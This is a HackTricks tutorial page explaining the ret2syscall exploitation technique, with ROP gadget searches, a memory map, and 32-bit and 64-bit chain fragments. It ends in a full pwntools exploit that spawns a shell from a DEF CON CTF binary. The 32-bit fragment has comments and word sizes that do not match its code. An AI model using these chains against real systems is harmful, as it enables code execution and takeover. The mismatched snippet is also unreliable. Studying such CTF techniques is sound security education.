Ret2syscall - HackTricks

# Ret2syscall

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

## Basic Information

This is similar to Ret2lib, however, in this case we won't be calling a function from a library. In this case, everything will be prepared to call the syscall `sys_execve` with some arguments to execute `/bin/sh`. This technique is usually performed on binaries that are compiled statically, so there might be plenty of gadgets and syscall instructions.

In order to prepare the call for the syscall it's needed the following configuration:

- `rax: 59 Specify sys_execve`
- `rdi: ptr to "/bin/sh" specify file to execute`
- `rsi: 0 specify no arguments passed`
- `rdx: 0 specify no environment variables passed`

So, basically it's needed to write the string `/bin/sh` somewhere and then perform the `syscall` (being aware of the padding needed to control the stack). For this, we need a gadget to write `/bin/sh` in a known area.

> [!TIP] Another interesting syscall to call is `mprotect` which would allow an attacker to modify the permissions of a page in memory. This can be combined with ret2shellcode.

## Register gadgets

Let's start by finding how to control those registers:

    ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
    0x0000000000415664 : pop rax ; ret
    0x0000000000400686 : pop rdi ; ret
    0x00000000004101f3 : pop rsi ; ret
    0x00000000004498b5 : pop rdx ; ret

With these addresses it's possible to write the content in the stack and load it into the registers.

## Write string

### Writable memory

First you need to find a writable place in the memory

    gef> vmmap
    [ Legend:  Code | Heap | Stack ]
    Start              End                Offset             Perm Path
    0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
    0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
    0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]

### Write String in memory

Then you need to find a way to write arbitrary content in this address

    ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
    mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx

### Automate ROP chain

The following command creates a full `sys_execve` ROP chain given a static binary when there are write-what-where gadgets and syscall instructions:

    ROPgadget --binary vuln --ropchain

#### 32 bits

    '''
    Lets write "/bin/sh" to 0x6b6000

    pop rdx, 0x2f62696e2f736800
    pop rax, 0x6b6000
    mov qword ptr [rax], rdx
    '''

    rop += popRdx           # place value into EAX
    rop += "/bin"           # 4 bytes at a time
    rop += popRax           # place value into edx
    rop += p32(0x6b6000)    # Writable memory
    rop += writeGadget   #Address to: mov qword ptr [rax], rdx

    rop += popRdx
    rop += "//sh"
    rop += popRax
    rop += p32(0x6b6000 + 4)
    rop += writeGadget

#### 64 bits

    '''
    Lets write "/bin/sh" to 0x6b6000

    pop rdx, 0x2f62696e2f736800
    pop rax, 0x6b6000
    mov qword ptr [rax], rdx
    '''
    rop = ''
    rop += popRdx
    rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
    rop += popRax
    rop += p64(0x6b6000) # Writable memory
    rop += writeGadget #Address to: mov qword ptr [rax], rdx

## Lacking Gadgets

If you are lacking gadgets, for example to write `/bin/sh` in memory, you can use the SROP technique to control all the register values (including RIP and params registers) from the stack:

SROP - Sigreturn-Oriented Programming

## Exploit Example

    from pwn import *

    target = process('./speedrun-001')
    #gdb.attach(target, gdbscript = 'b *0x400bad')

    # Establish our ROP Gadgets
    popRax = p64(0x415664)
    popRdi = p64(0x400686)
    popRsi = p64(0x4101f3)
    popRdx = p64(0x4498b5)

    # 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
    writeGadget = p64(0x48d251)

    # Our syscall gadget
    syscall = p64(0x40129c)

    '''
    Here is the assembly equivalent for these blocks
    write "/bin/sh" to 0x6b6000

    pop rdx, 0x2f62696e2f736800
    pop rax, 0x6b6000
    mov qword ptr [rax], rdx
    '''
    rop = ''
    rop += popRdx
    rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
    rop += popRax
    rop += p64(0x6b6000)
    rop += writeGadget

    '''
    Prep the four registers with their arguments, and make the syscall

    pop rax, 0x3b
    pop rdi, 0x6b6000
    pop rsi, 0x0
    pop rdx, 0x0

    syscall
    '''

    rop += popRax
    rop += p64(0x3b)

    rop += popRdi
    rop += p64(0x6b6000)

    rop += popRsi
    rop += p64(0)
    rop += popRdx
    rop += p64(0)

    rop += syscall

    # Add the padding to the saved return address
    payload = "0"*0x408 + rop

    # Send the payload, drop to an interactive shell to use our new shell
    target.sendline(payload)

    target.interactive()

## Other Examples & References

- https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html
  - 64 bits, no PIE, nx, write in some memory a ROP to call `execve` and jump there.
- https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html
  - 64 bits, nx, no PIE, write in some memory a ROP to call `execve` and jump there. In order to write to the stack a function that performs mathematical operations is abused
- https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html
  - 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.